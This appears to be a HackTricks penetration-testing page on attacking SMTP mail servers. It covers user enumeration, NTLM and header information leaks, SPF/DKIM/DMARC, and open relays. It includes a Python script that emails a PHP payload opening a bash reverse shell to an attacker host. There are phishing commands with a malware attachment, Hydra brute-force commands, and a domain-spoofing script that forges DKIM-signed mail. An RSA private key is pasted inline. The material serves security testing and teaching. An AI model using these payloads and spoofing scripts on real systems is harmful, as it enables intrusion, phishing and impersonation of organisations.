25,465,587 - Pentesting SMTP/s - HackTricks

# 25,465,587 - Pentesting SMTP/s

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## Basic Information

The Simple Mail Transfer Protocol (SMTP) is a protocol utilized within the TCP/IP suite for the sending and receiving of e-mail. Due to its limitations in queuing messages at the recipient's end, SMTP is often employed alongside either POP3 or IMAP. These additional protocols enable users to store messages on a server mailbox and to periodically download them.

In practice, it is common for e-mail programs to employ SMTP for sending e-mails, while utilizing POP3 or IMAP for receiving them. On systems based on Unix, sendmail stands out as the SMTP server most frequently used for e-mail purposes. The commercial package known as Sendmail encompasses a POP3 server. Furthermore, Microsoft Exchange provides an SMTP server and offers the option to include POP3 support.

Default port: 25,465(ssl),587(ssl)

    PORT   STATE SERVICE REASON  VERSION
    25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

### EMAIL Headers

If you have the opportunity to make the victim send you a email (via contact form of the web page for example), do it because you could learn about the internal topology of the victim seeing the headers of the mail.

You can also get an email from a SMTP server trying to send to that server an email to a non-existent address (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages.

You should also try to send different contents because you can find more interesting information on the headers like: `X-Virus-Scanned: by av.domain.com`
You should send the EICAR test file.
Detecting the AV may allow you to exploit known vulnerabilities.

## Basic actions

### Banner Grabbing/Basic connection

SMTP:

    nc -vn <IP> 25

SMTPS:

    openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
    openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

### Finding MX servers of an organisation

    dig +short mx google.com

### Enumeration

    nmap -p25 --script smtp-commands 10.10.10.10
    nmap -p25 --script smtp-open-relay 10.10.10.10 -v

### NTLM Auth - Information disclosure

If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info here.

    root@kali: telnet example.com 587
    220 example.com SMTP Server Banner
    >> HELO
    250 example.com Hello [x.x.x.x]
    >> AUTH NTLM 334
    NTLM supported
    >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
    334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or automate this with nmap plugin `smtp-ntlm-info.nse`

### Internal server name - Information disclosure

Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:

    220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
    EHLO all
    250-somedomain.com Hello [x.x.x.x]
    250-TURN
    250-SIZE 52428800
    250-ETRN
    250-PIPELINING
    250-DSN
    250-ENHANCEDSTATUSCODES
    250-8bitmime
    250-BINARYMIME
    250-CHUNKING
    250-VRFY
    250 OK
    MAIL FROM: me
    250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

### Sniffing

Check if you sniff some password from the packets to port 25

### Auth bruteforce

## Username Bruteforce Enumeration

Authentication is not always needed

### RCPT TO

    $ telnet 1.1.1.1 25
    Trying 1.1.1.1...
    Connected to 1.1.1.1.
    Escape character is '^]'.
    220 myhost ESMTP Sendmail 8.9.3
    HELO x
    250 myhost Hello 18.28.38.48, pleased to meet you
    MAIL FROM:example@domain.com
    250 2.1.0 example@domain.com... Sender ok
    RCPT TO:test
    550 5.1.1 test... User unknown
    RCPT TO:admin
    550 5.1.1 admin... User unknown
    RCPT TO:ed
    250 2.1.5 ed... Recipient ok

### VRFY

    $ telnet 1.1.1.1 25
    Trying 1.1.1.1...
    Connected to 1.1.1.1.
    Escape character is '^]'.
    220 myhost ESMTP Sendmail 8.9.3
    HELO
    501 HELO requires domain address
    HELO x
    250 myhost Hello 18.28.38.48, pleased to meet you
    VRFY root
    250 Super-User root@myhost
    VRFY blah
    550 blah... User unknown

### EXPN

    $ telnet 1.1.1.1 25
    Trying 1.1.1.1...
    Connected to 1.1.1.1.
    Escape character is '^]'.
    220 myhost ESMTP Sendmail 8.9.3
    HELO
    501 HELO requires domain address
    HELO x
    EXPN test
    550 5.1.1 test... User unknown
    EXPN root
    250 2.1.5 ed.williams@myhost
    EXPN sshd
    250 2.1.5 sshd privsep sshd@myhost

### Automatic tools

    Metasploit: auxiliary/scanner/smtp/smtp_enum
    smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
    Nmap: nmap --script smtp-enum-users <IP>

## DSN Reports

Delivery Status Notification Reports: If you send an email to an organisation to an invalid address, the organisation will notify that the address was invalided sending a mail back to you. Headers of the returned email will contain possible sensitive information (like IP address of the mail services that interacted with the reports or anti-virus software info).

## Commands

### Sending an Email from linux console

    sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
    Reading message body from STDIN because the '-m' option was not used.
    If you are manually typing in a message:
      - First line must be received within 60 seconds.
      - End manual input with a CTRL-D on its own line.

    <phishing message>

     swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

### Sending an Email with Python

Pyhton code here

    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    import smtplib
    import sys

    lhost = "127.0.0.1"
    lport = 443
    rhost = "192.168.1.1"
    rport = 25 # 489,587

    # create message object instance
    msg = MIMEMultipart()

    # setup the parameters of the message
    password = ""
    msg['From'] = "attacker@local"
    msg['To'] = "victim@local"
    msg['Subject'] = "This is not a drill!"

    # payload
    message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

    print("[*] Payload is generated : %s" % message)

    msg.attach(MIMEText(message, 'plain'))
    server = smtplib.SMTP(host=rhost,port=rport)

    if server.noop()[0] != 250:
        print("[-]Connection Error")
        exit()

    server.starttls()

    # Uncomment if log-in with authencation
    # server.login(msg['From'], password)

    server.sendmail(msg['From'], msg['To'], msg.as_string())
    server.quit()

    print("[***]successfully sent email to %s:" % (msg['To']))

## SMTP Smuggling

SMTP Smuggling vulnerability allowed to bypass all the SMTP protections (check the next section for more info about protections). For more info on SMTP Smuggling check:

SMTP Smuggling

## Mail Spoofing Countermeasures

Organizations are prevented from having unauthorized email sent on their behalf by employing SPF, DKIM, and DMARC due to the ease of spoofing SMTP messages.

A complete guide to these countermeasures is made available at https://seanthegeek.net/459/demystifying-dmarc/.

### SPF

> [!CAUTION] SPF was "deprecated" in 2014. This means that instead of creating a TXT record in `_spf.domain.com` you create it in `domain.com` using the same syntax.
> Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"`

Sender Policy Framework (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities authorized to send email on behalf of a domain name, includes various "Mechanisms" in the SPF record.

#### Mechanisms

From Wikipedia:

Mechanism | Description
--- | ---
ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms.
A | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match.
IP4 | If the sender is in a given IPv4 address range, match.
IP6 | If the sender is in a given IPv6 address range, match.
MX | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers).
PTR | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible.
EXISTS | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries.
INCLUDE | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used.
REDIRECT | A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure. It SPF policy of the domain indicated in the redirect Mechanism will be used.

It's also possible to identify Qualifiers that indicates what should be done if a mechanism is matched. By default, the qualifier "+" is used (so if any mechanism is matched, that means it's allowed).
You usually will note at the end of each SPF policy something like: ~all or -all. This is used to indicate that if the sender doesn't match any SPF policy, you should tag the email as untrusted (~) or reject (-) the email.

#### Qualifiers

Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:

- `+`: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`.
- `?`: Represents a NEUTRAL result, treated similarly to NONE (no specific policy).
- `~`: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly.
- `-`: Indicates FAIL, suggesting that the email should be outright rejected.

In the upcoming example, the SPF policy of google.com is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy:

    dig txt google.com | grep spf
    google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

    dig txt _spf.google.com | grep spf
    ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
    ;_spf.google.com.               IN      TXT
    _spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

    dig txt _netblocks.google.com | grep spf
    _netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

    dig txt _netblocks2.google.com | grep spf
    _netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

    dig txt _netblocks3.google.com | grep spf
    _netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. Nowadays, if email comes from a domain without a valid SPF record is probably going to be rejected/marked as untrusted automatically.

To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html

### DKIM (DomainKeys Identified Mail)

DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name.

For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`.

A command to fetch this information might look like:

    dig 20120113._domainkey.gmail.com TXT | grep p=
    # This command would return something like:
    20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

### DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions.

To obtain the DMARC record, you need to query the subdomain _dmarc

    # Reject
    dig _dmarc.facebook.com txt | grep DMARC
    _dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

    # Quarantine
    dig _dmarc.google.com txt | grep DMARC
    _dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

    # None
    dig _dmarc.bing.com txt | grep DMARC
    _dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

#### DMARC tags

Tag Name | Purpose | Sample
--- | --- | ---
v | Protocol version | v=DMARC1
pct | Percentage of messages subjected to filtering | pct=20
ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com
rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com
p | Policy for organizational domain | p=quarantine
sp | Policy for subdomains of the OD | sp=reject
adkim | Alignment mode for DKIM | adkim=s
aspf | Alignment mode for SPF | aspf=r

### What about Subdomains?

From here.
You need to have separate SPF records for each subdomain you wish to send mail from.
The following was originally posted on openspf.org, which used to be a great resource for this kind of thing.

> The Demon Question: What about subdomains?

> If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

> So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

> Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT "v=spf1 -all"

This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition.

### Open Relay

When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a relay server that is trusted by the recipient. However, a common challenge is that administrators might not be fully aware of which IP ranges are safe to allow. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments.

A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to allow connections from any IP address. This is done by configuring the SMTP server's `mynetworks` parameter to accept all IP addresses, as shown below:

    mynetworks = 0.0.0.0/0

For checking whether a mail server is an open relay (which means it could forward email from any external source), the `nmap` tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using `nmap` is:

    nmap -p25 --script smtp-open-relay 10.10.10.10 -v

### Tools

- https://github.com/serain/mailspoof Check for SPF and DMARC misconfigurations
- https://pypi.org/project/checkdmarc/ Automatically get SPF and DMARC configs

### Send Spoof Email

- https://www.mailsploit.com/index
- http://www.anonymailer.net/
- https://emkei.cz/

Or you could use a tool:

- https://github.com/magichk/magicspoofing

    # This will send a test email from test@victim.com to destination@gmail.com
    python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
    # But you can also modify more options of the email
    python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

> [!WARNING] If you get any error using in the dkim python lib parsing the key feel free to use this following one.
> NOTE: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key cannot be parsed by dkim.

>     -----BEGIN RSA PRIVATE KEY-----
>     MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
>     spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
>     pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
>     AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
>     koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
>     fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
>     1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
>     ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
>     GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
>     422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
>     Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
>     zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
>     K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
>     -----END RSA PRIVATE KEY-----

Or you could do it manually:

{{#tabs}} {{#tab name="PHP"}}

    # This will send an unsigned message
    mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

{{#endtab}}

{{#tab name="Python"}}

    # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

    import os
    import dkim #pip3 install dkimpy
    import smtplib
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email.mime.base import MIMEBase

    # Set params
    destination="destination@gmail.com"
    sender="administrator@victim.com"
    subject="Test"
    message_html="""
    <html>
    	<body>
    		<h3>This is a test, not a scam</h3>
    		<br />
    	</body>
    </html>
    """
    sender_domain=sender.split("@")[1]

    # Prepare postfix
    os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
    os.system("systemctl restart postfix")

    # Generate DKIM keys
    dkim_private_key_path="dkimprivatekey.pem"
    os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
    with open(dkim_private_key_path) as fh:
        dkim_private_key = fh.read()

    # Generate email
    msg = MIMEMultipart("alternative")
    msg.attach(MIMEText(message_html, "html"))
    msg["To"] = destination
    msg["From"] = sender
    msg["Subject"] = subject
    headers = [b"To", b"From", b"Subject"]
    msg_data = msg.as_bytes()

    # Sign email with dkim
    ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
    dkim_selector="s1"
    sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
    msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
    msg_data = msg.as_bytes()

    # Use local postfix relay to send email
    smtp="127.0.0.1"
    s = smtplib.SMTP(smtp)
    s.sendmail(sender, [destination], msg_data)

{{#endtab}} {{#endtabs}}

### More info

Find more information about these protections in https://seanthegeek.net/459/demystifying-dmarc/

### Other phishing indicators

- Domain’s age
- Links pointing to IP addresses
- Link manipulation techniques
- Suspicious (uncommon) attachments
- Broken email content
- Values used that are different to those of the mail headers
- Existence of a valid and trusted SSL certificate
- Submission of the page to web content filtering sites

## Exfiltration through SMTP

If you can send data via SMTP read this.

## Config file

### Postfix

Usually, if installed, in `/etc/postfix/master.cf` contains scripts to execute when for example a new mail is receipted by a user. For example the line `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` means that `/etc/postfix/filtering` will be executed if a new mail is received by the user mark.

Other config files:

    sendmail.cf
    submit.cf

## References

- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/

## HackTricks Automatic Commands

    Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
    Port_Number:  25,465,587     #Comma separated if there is more than one.
    Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

    Entry_1:
      Name: Notes
      Description: Notes for SMTP
      Note: |
        SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

        https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

    Entry_2:
      Name: Banner Grab
      Description: Grab SMTP Banner
      Command: nc -vn {IP} 25

    Entry_3:
      Name: SMTP Vuln Scan
      Description: SMTP Vuln Scan With Nmap
      Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

    Entry_4:
      Name: SMTP User Enum
      Description: Enumerate uses with smtp-user-enum
      Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

    Entry_5:
      Name: SMTPS Connect
      Description: Attempt to connect to SMTPS two different ways
      Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

    Entry_6:
      Name: Find MX Servers
      Description: Find MX servers of an organization
      Command: dig +short mx {Domain_Name}

    Entry_7:
      Name: Hydra Brute Force
      Description: Need Nothing
      Command: hydra -P {Big_Passwordlist} {IP} smtp -V

    Entry_8:
      Name: consolesless mfs enumeration
      Description: SMTP enumeration without the need to run msfconsole
      Note: sourced from https://github.com/carlospolop/legion
      Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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